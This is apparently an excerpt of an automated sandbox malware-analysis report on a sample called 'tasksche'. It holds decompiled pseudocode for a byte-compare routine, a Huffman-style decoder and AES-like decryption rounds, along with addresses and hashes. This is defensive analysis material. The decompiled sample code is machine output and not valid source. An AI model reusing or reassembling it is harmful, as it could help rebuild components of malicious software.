									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x0041b0d9
0x0041b0d9
0x0041b0df
0x0041b152
0x0041b154
0x0041b156
0x00000000
0x00000000
0x0041b15c
0x0041b162
0x0041b1e1
0x0041b1e3
0x0041b1e5
0x00000000
0x00000000
0x0041b1eb
0x0041b1f1
0x0041b270
0x0041b272
0x0041b274
0x00000000
0x00000000
0x0041b27a
0x0041b280
0x0041b2ff
0x0041b301
0x0041b303
0x00000000
0x00000000
0x0041b30f
0x0041b38f
0x0041b391
0x0041b393
0x00000000
0x00000000
0x0041b399
0x0041b39f
0x0041b41e
0x0041b420
0x0041b422
0x00000000
0x00000000
0x0041b428
0x0041b42e
0x0041b49f
0x0041b4a1
0x0041b4a3
0x0041b4a5
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041b437
0x0041b439
0x0041b44a
0x0041b452
0x0041b454
0x0041b465
0x0041b46d
0x0041b46f
0x0041b484
0x0041b48c
0x0041b48e
0x0041b49b
0x0041b49b
0x00000000
0x0041b48e
0x0041b478
0x0041b47e
0x00000000
0x00000000
0x0041b480
0x0041b480
0x00000000
0x0041b480
0x0041b45d
0x0041b463
0x00000000
0x00000000
0x00000000
0x0041b463
0x0041b442
0x0041b448
0x00000000
0x00000000
0x00000000
0x0041b448
0x0041b3a8
0x0041b3aa
0x0041b3c1
0x0041b3c9
0x0041b3cb
0x0041b3e2
0x0041b3ea
0x0041b3ec
0x0041b403
0x0041b40b
0x0041b40d
0x0041b41a
0x0041b41a
0x00000000
0x0041b40d
0x0041b3f9
0x0041b3fd
0x00000000
0x00000000
0x00000000
0x0041b3fd
0x0041b3d8
0x0041b3dc
0x00000000
0x00000000
0x00000000
0x0041b3dc
0x0041b3b7
0x0041b3bb
0x00000000
0x00000000
0x00000000
0x0041b3bb
0x0041b319
0x0041b31b
0x0041b332
0x0041b33a
0x0041b33c
0x0041b353
0x0041b35b
0x0041b35d
0x0041b374
0x0041b37c
0x0041b37e
0x0041b38b
0x0041b38b
0x00000000
0x0041b37e
0x0041b36a
0x0041b36e
0x00000000
0x00000000
0x00000000
0x0041b36e
0x0041b349
0x0041b34d
0x00000000
0x00000000
0x00000000
0x0041b34d
0x0041b328
0x0041b32c
0x00000000
0x00000000
0x00000000
0x0041b32c
0x0041b289
0x0041b28b
0x0041b2a2
0x0041b2aa
0x0041b2ac
0x0041b2c3
0x0041b2cb
0x0041b2cd
0x0041b2e4
0x0041b2ec
0x0041b2ee
0x0041b2fb
0x0041b2fb
0x00000000
0x0041b2ee
0x0041b2da
0x0041b2de
0x00000000
0x00000000
0x00000000
0x0041b2de
0x0041b2b9
0x0041b2bd
0x00000000
0x00000000
0x00000000
0x0041b2bd
0x0041b298
0x0041b29c
0x00000000
0x00000000
0x00000000
0x0041b29c
0x0041b1fa
0x0041b1fc
0x0041b213
0x0041b21b
0x0041b21d
0x0041b234
0x0041b23c
0x0041b23e
0x0041b255
0x0041b25d
0x0041b25f
0x0041b26c
0x0041b26c
0x00000000
0x0041b25f
0x0041b24b
0x0041b24f
0x00000000
0x00000000
0x00000000
0x0041b24f
0x0041b22a
0x0041b22e
0x00000000
0x00000000
0x00000000
0x0041b22e
0x0041b209
0x0041b20d
0x00000000
0x00000000
0x00000000
0x0041b20d
0x0041b16b
0x0041b16d
0x0041b184
0x0041b18c
0x0041b18e
0x0041b1a5
0x0041b1ad
0x0041b1af
0x0041b1c6
0x0041b1ce
0x0041b1d0
0x0041b1dd
0x0041b1dd
0x00000000
0x0041b1d0
0x0041b1bc
0x0041b1c0
0x00000000
0x00000000
0x00000000
0x0041b1c0
0x0041b19b
0x0041b19f
0x00000000
0x00000000
0x00000000
0x0041b19f
0x0041b17a
0x0041b17e
0x00000000
0x00000000
0x00000000
0x0041b0e1
0x0041b0e1
0x0041b0e4
0x0041b0e8
0x0041b0ea
0x0041b0fd
0x0041b0fd
0x0041b101
0x0041b105
0x0041b107
0x0041b11a
0x0041b11a
0x0041b11e
0x0041b122
0x0041b124
0x0041b137
0x0041b137
0x0041b13b
0x0041b13f
0x0041b141
0x0041b147
0x0041b14a
0x0041b14e
0x0041b14e
0x00000000
0x0041b141
0x0041b12a
0x0041b12d
0x0041b131
0x0041b135
0x00000000
0x00000000
0x00000000
0x0041b135
0x0041b10d
0x0041b110
0x0041b114
0x0041b118
0x00000000
0x00000000
0x00000000
0x0041b118
0x0041b0f0
0x0041b0f3
0x0041b0f7
0x0041b0fb
0x00000000
0x00000000
0x00000000
0x0041b0fb
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 2db7ca3506525dcc090db9a2522c638e963424884ad3e69ae6d01f57f6380b46
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 7AC17173D0E9B3068735812E84686ABEE62AFD175031FC3E29CE42F389D32B5D9495D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041462B Relevance: .2, Instructions: 236
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0041462B(void* __ebx, intOrPtr __ecx, intOrPtr* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v28;
				char _v74;
				char _v90;
				char _v154;
				char _v460;
				signed int _t93;
				unsigned int _t94;
				signed int _t97;
				signed int _t98;
				unsigned int _t111;
				unsigned int _t116;
				unsigned int _t120;
				signed int _t122;
				void* _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				unsigned int _t152;
				void* _t154;
				intOrPtr* _t156;
				intOrPtr _t162;
				intOrPtr* _t166;
				void* _t167;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				unsigned int _t180;
				intOrPtr* _t182;
				intOrPtr _t183;
				intOrPtr* _t186;
				intOrPtr _t187;
				void* _t190;

				_t131 = __ebx;
				_v8 = __ecx;
				if( *((char*)(_a8 + 0x11)) != 0) {
					_t186 = _a4;
					__eflags =  *((char*)(_t186 + 8));
					if( *((char*)(_t186 + 8)) != 0) {
						L5:
						_t7 =  &_a8;
						 *_t7 = _a8 & 0x00000000;
						__eflags =  *_t7;
						_push(_t131);
						do {
							_t132 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t132 - 0xf;
							if(_t132 != 0xf) {
								 *(_t190 + _a8 - 0x18) = _t132;
								goto L15;
							}
							_t178 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t178;
							if(_t178 != 0) {
								_t180 = _t178 + 2;
								while(1) {
									__eflags = _t180;
									if(_t180 <= 0) {
										break;
									}
									_t180 = _t180 - 1;
									__eflags = _a8 - 0x14;
									if(_a8 >= 0x14) {
										break;
									}
									_t14 =  &_a8;
									 *_t14 = _a8 + 1;
									__eflags =  *_t14;
									 *(_t190 + _a8 - 0x18) = 0;
								}
								_a8 = _a8 - 1;
								goto L15;
							}
							 *(_t190 + _a8 - 0x18) = _t132;
							L15:
							_a8 = _a8 + 1;
							__eflags = _a8 - 0x14;
						} while (__eflags < 0);
						_t182 = _a12 + 0x3bb0;
						E0041284B(__eflags,  &_v28, _t182, 0x14);
						_t29 =  &_a8;
						 *_t29 = _a8 & 0x00000000;
						__eflags =  *_t29;
						do {
							__eflags =  *((char*)(_t186 + 8));
							if( *((char*)(_t186 + 8)) != 0) {
								L20:
								_t93 = E0040978C(_t186);
								_t133 =  *(_t182 + 0x84);
								_t94 = _t93 & 0x0000fffe;
								__eflags = _t94 -  *((intOrPtr*)(_t182 + 4 + _t133 * 4));
								if(_t94 >=  *((intOrPtr*)(_t182 + 4 + _t133 * 4))) {
									_t174 = 0xf;
									_t134 = _t133 + 1;
									__eflags = _t134 - _t174;
									if(_t134 >= _t174) {
										L28:
										_t152 =  *(_t186 + 4) + _t174;
										 *(_t186 + 4) = _t152 & 0x00000007;
										_t136 = _t152 >> 3;
										 *_t186 =  *_t186 + (_t152 >> 3);
										_t154 = 0x10;
										_t97 = (_t94 -  *((intOrPtr*)(_t182 + _t174 * 4)) >> _t154 - _t174) +  *((intOrPtr*)(_t182 + 0x44 + _t174 * 4));
										__eflags = _t97 -  *_t182;
										if(_t97 >=  *_t182) {
											_t97 = 0;
											__eflags = 0;
										}
										_t98 =  *(_t182 + 0xc88 + _t97 * 2) & 0x0000ffff;
										L31:
										__eflags = _t98 - 0x10;
										if(_t98 >= 0x10) {
											__eflags = _t98 - 0x12;
											_t156 = _t186;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t136 = (E004097D1(_t156) >> 9) + 0xb;
													__eflags = _t136;
													_push(7);
												} else {
													_t136 = (E004097D1(_t156) >> 0xd) + 3;
													_push(3);
												}
												E004097BA(_t186);
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														goto L50;
													}
													_t136 = _t136 - 1;
													__eflags = _a8 - 0x1ae;
													if(_a8 >= 0x1ae) {
														goto L51;
													}
													_t71 =  &_a8;
													 *_t71 = _a8 + 1;
													__eflags =  *_t71;
													 *(_t190 + _a8 - 0x1c8) = 0;
												}
												goto L50;
											}
											__eflags = _t98 - 0x10;
											if(_t98 != 0x10) {
												_t136 = (E004097D1(_t156) >> 9) + 0xb;
												__eflags = _t136;
												_push(7);
											} else {
												_t136 = (E004097D1(_t156) >> 0xd) + 3;
												_push(3);
											}
											E004097BA(_t186);
											_t120 = _a8;
											__eflags = _t120;
											if(_t120 > 0) {
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														break;
													}
													_t136 = _t136 - 1;
													__eflags = _t120 - 0x1ae;
													if(_t120 >= 0x1ae) {
														goto L51;
													}
													 *((char*)(_t190 + _t120 - 0x1c8)) =  *((intOrPtr*)(_t190 + _t120 - 0x1c9));
													_t120 = _t120 + 1;
													__eflags = _t120;
													_a8 = _t120;
												}
											}
											goto L50;
										}
										_a8 = _a8 + 1;
										 *(_t190 + _a8 - 0x1c8) = _t98;
										goto L50;
									}
									_t166 = _t182 + 4 + _t134 * 4;
									while(1) {
										__eflags = _t94 -  *_t166;
										if(_t94 <  *_t166) {
											break;
										}
										_t134 = _t134 + 1;
										_t166 = _t166 + 4;
										__eflags = _t134 - 0xf;
										if(_t134 < 0xf) {
											continue;
										}
										goto L28;
									}
									_t174 = _t134;
									goto L28;
								}
								_t167 = 0x10;
								_t122 = _t94 >> _t167 - _t133;
								_t170 = ( *(_t122 + _t182 + 0x88) & 0x000000ff) +  *(_t186 + 4);
								 *_t186 =  *_t186 + (_t170 >> 3);
								 *(_t186 + 4) = _t170 & 0x00000007;
								_t98 =  *(_t182 + 0x488 + _t122 * 2) & 0x0000ffff;
								goto L31;
							}
							_t162 = _v8;
							__eflags =  *_t186 -  *((intOrPtr*)(_t162 + 0x78)) - 5;
							if( *_t186 <=  *((intOrPtr*)(_t162 + 0x78)) - 5) {
								goto L20;
							}
							_t116 = E004123EB(_t136, _t162);
							__eflags = _t116;
							if(_t116 == 0) {
								L53:
								_t111 = 0;
								L55:
								L56:
								return _t111;
							}
							goto L20;
							L50:
							__eflags = _a8 - 0x1ae;
						} while (_a8 < 0x1ae);
						L51:
						__eflags =  *((char*)(_t186 + 8));
						_t183 = _v8;
						if(__eflags != 0) {
							L54:
							_t187 = _a12;
							E0041284B(__eflags,  &_v460, _t187, 0x132);
							E0041284B(__eflags,  &_v154, _t187 + 0xeec, 0x40);
							E0041284B(__eflags,  &_v90, _t187 + 0x1dd8, 0x10);
							__eflags = _t187 + 0x2cc4;
							E0041284B(_t187 + 0x2cc4,  &_v74, _t187 + 0x2cc4, 0x2c);
							_t111 = 1;
							goto L55;
						}
						__eflags =  *_t186 -  *((intOrPtr*)(_t183 + 0x78));
						if(__eflags <= 0) {
							goto L54;
						}
						goto L53;
					}
					__eflags =  *_t186 -  *((intOrPtr*)(__ecx + 0x78)) - 0x19;
					if( *_t186 <=  *((intOrPtr*)(__ecx + 0x78)) - 0x19) {
						goto L5;
					}
					_t111 = E004123EB(__ebx, __ecx);
					__eflags = _t111;
					if(_t111 == 0) {
						goto L56;
					}
					goto L5;
				}
				return 1;
			}

0x0041462b
0x0041463b
0x0041463e
0x00414648
0x0041464b
0x0041464f
0x00414668
0x00414668
0x00414668
0x00414668
0x0041466c
0x0041466e
0x0041467c
0x0041467f
0x00414684
0x00414687
0x004146ce
0x00000000
0x004146ce
0x00414697
0x0041469a
0x0041469f
0x004146a1
0x004146ad
0x004146c2
0x004146c2
0x004146c4
0x00000000
0x00000000
0x004146b0
0x004146b1
0x004146b5
0x00000000
0x00000000
0x004146ba
0x004146ba
0x004146ba
0x004146bd
0x004146bd
0x004146c6
0x00000000
0x004146c6
0x004146a6
0x004146d2
0x004146d2
0x004146d5
0x004146d5
0x004146e3
0x004146ee
0x004146f3
0x004146f3
0x004146f3
0x004146f7
0x004146f7
0x004146fb
0x00414717
0x00414719
0x0041471e
0x00414724
0x00414729
0x0041472d
0x0041475a
0x0041475b
0x0041475c
0x0041475e
0x00414775
0x00414778
0x0041477f
0x00414782
0x00414785
0x0041478c
0x00414791
0x00414795
0x00414797
0x00414799
0x00414799
0x00414799
0x0041479b
0x004147a3
0x004147a3
0x004147a6
0x004147ba
0x004147bd
0x004147bf
0x00414816
0x00414833
0x00414833
0x00414836
0x00414818
0x00414822
0x00414825
0x00414825
0x0041483a
0x00414859
0x00414859
0x0041485b
0x00000000
0x00000000
0x00414841
0x00414842
0x00414849
0x00000000
0x00000000
0x0041484e
0x0041484e
0x0041484e
0x00414851
0x00414851
0x00000000
0x00414859
0x004147c1
0x004147c4
0x004147e1
0x004147e1
0x004147e4
0x004147c6
0x004147d0
0x004147d3
0x004147d3
0x004147e8
0x004147ed
0x004147f0
0x004147f2
0x00414810
0x00414810
0x00414812
0x00000000
0x00000000
0x004147f6
0x004147f7
0x004147fc
0x00000000
0x00000000
0x00414805
0x0041480c
0x0041480c
0x0041480d
0x0041480d
0x00414814
0x00000000
0x004147f2
0x004147ab
0x004147ae
0x00000000
0x004147ae
0x00414760
0x00414764
0x00414764
0x00414766
0x00000000
0x00000000
0x00414768
0x00414769
0x0041476c
0x0041476f
0x00000000
0x00000000
0x00000000
0x00414771
0x00414773
0x00000000
0x00414773
0x00414731
0x00414734
0x0041473e
0x00414746
0x0041474b
0x0041474e
0x00000000
0x0041474e
0x004146fd
0x00414706
0x00414708
0x00000000
0x00000000
0x0041470a
0x0041470f
0x00414711
0x0041487a
0x0041487a
0x004148d6
0x004148d8
0x00000000
0x004148d8
0x00000000
0x0041485d
0x0041485d
0x0041485d
0x0041486a
0x0041486a
0x0041486e
0x00414871
0x0041487e
0x0041487e
0x00414890
0x004148a7
0x004148bb
0x004148c2
0x004148cf
0x004148d4
0x00000000
0x004148d4
0x00414875
0x00414878
0x00000000
0x00000000
0x00000000
0x00414878
0x00414657
0x00414659
0x00000000
0x00000000
0x0041465b
0x00414660
0x00414662
0x00000000
0x00000000
0x00000000
0x00414662
0x00000000

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction ID: 3d3811311c0e96151038b15cdb33c9c3baef1538c920ea216c41a1bce0e780a6
Opcode Fuzzy Hash: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction Fuzzy Hash: DC812731600644ABDB14EF29C590BFD73A5EB92318F20842FE9569B2C2C77CD9C2CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB23 Relevance: .2, Instructions: 231
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040CB23(void* __ebx, char* __ecx, char _a4, unsigned int _a8, signed int* _a12) {
				intOrPtr _v8;
				signed int _v9;
				signed int _v10;
				signed int _v11;
				signed int _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				signed int _v21;
				signed int _v22;
				signed int _v23;
				signed int _v24;
				char _v25;
				char _v26;
				char _v27;
				signed int _v28;
				char _v29;
				char _v30;
				char _v31;
				signed int _v32;
				char _v33;
				char _v34;
				char _v35;
				signed int _v36;
				char _v37;
				char _v38;
				char _v39;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				void* __edi;
				void* __esi;
				unsigned int _t204;
				signed int _t236;
				void* _t311;
				signed int* _t312;
				unsigned int _t342;
				intOrPtr* _t344;
				char* _t346;

				_t311 = __ebx;
				_t204 = _a8;
				_t346 = __ecx;
				if(_t204 > 0) {
					_t342 = _t204 >> 4;
					if( *__ecx == 0) {
						_v8 = __ecx + 8;
						E0041C290(__ebx, _t342, __ecx,  &_v56, __ecx + 8, 0x10);
						_a8 = _t342;
						if(_t342 > 0) {
							_t344 = _a4;
							_push(_t311);
							_t312 = _a12;
							do {
								E0040C43B( &_v24, _t344, ( *(_t346 + 4) << 4) + _t346 + 0x18);
								_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
								_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
								_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
								_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
								_t236 =  *(_t346 + 4) - 1;
								if(_t236 > 1) {
									_a12 = (_t236 << 4) + _t346 + 0x18;
									_a4 = _t236 - 1;
									do {
										E0040C43B( &_v24,  &_v40, _a12);
										_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
										_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
										_a12 = _a12 - 0x10;
										_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
										_t127 =  &_a4;
										 *_t127 = _a4 - 1;
										_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
									} while ( *_t127 != 0);
								}
								E0040C43B( &_v24,  &_v40, _t346 + 0x28);
								_v40 =  *((intOrPtr*)((_v24 & 0x000000ff) + 0x438600));
								_v39 =  *((intOrPtr*)((_v11 & 0x000000ff) + 0x438600));
								_v38 =  *((intOrPtr*)((_v14 & 0x000000ff) + 0x438600));
								_v37 =  *((intOrPtr*)((_v17 & 0x000000ff) + 0x438600));
								_t146 = (_v20 & 0x000000ff) + 0x438600; // 0x8239e37c
								_v36 =  *_t146;
								_v35 =  *((intOrPtr*)((_v23 & 0x000000ff) + 0x438600));
								_v34 =  *((intOrPtr*)((_v10 & 0x000000ff) + 0x438600));
								_v33 =  *((intOrPtr*)((_v13 & 0x000000ff) + 0x438600));
								_t158 = (_v16 & 0x000000ff) + 0x438600; // 0xa340bf38
								_v32 =  *_t158;
								_v31 =  *((intOrPtr*)((_v19 & 0x000000ff) + 0x438600));
								_v30 =  *((intOrPtr*)((_v22 & 0x000000ff) + 0x438600));
								_v29 =  *((intOrPtr*)((_v9 & 0x000000ff) + 0x438600));
								_t170 = (_v12 & 0x000000ff) + 0x438600; // 0xd56a0952
								_v28 =  *_t170;
								_v27 =  *((intOrPtr*)((_v15 & 0x000000ff) + 0x438600));
								_v26 =  *((intOrPtr*)((_v18 & 0x000000ff) + 0x438600));
								_v25 =  *((intOrPtr*)((_v21 & 0x000000ff) + 0x438600));
								E0040C43B( &_v40,  &_v40, _t346 + 0x18);
								if( *((char*)(_t346 + 1)) != 0) {
									E0040C43B( &_v40,  &_v40,  &_v56);
								}
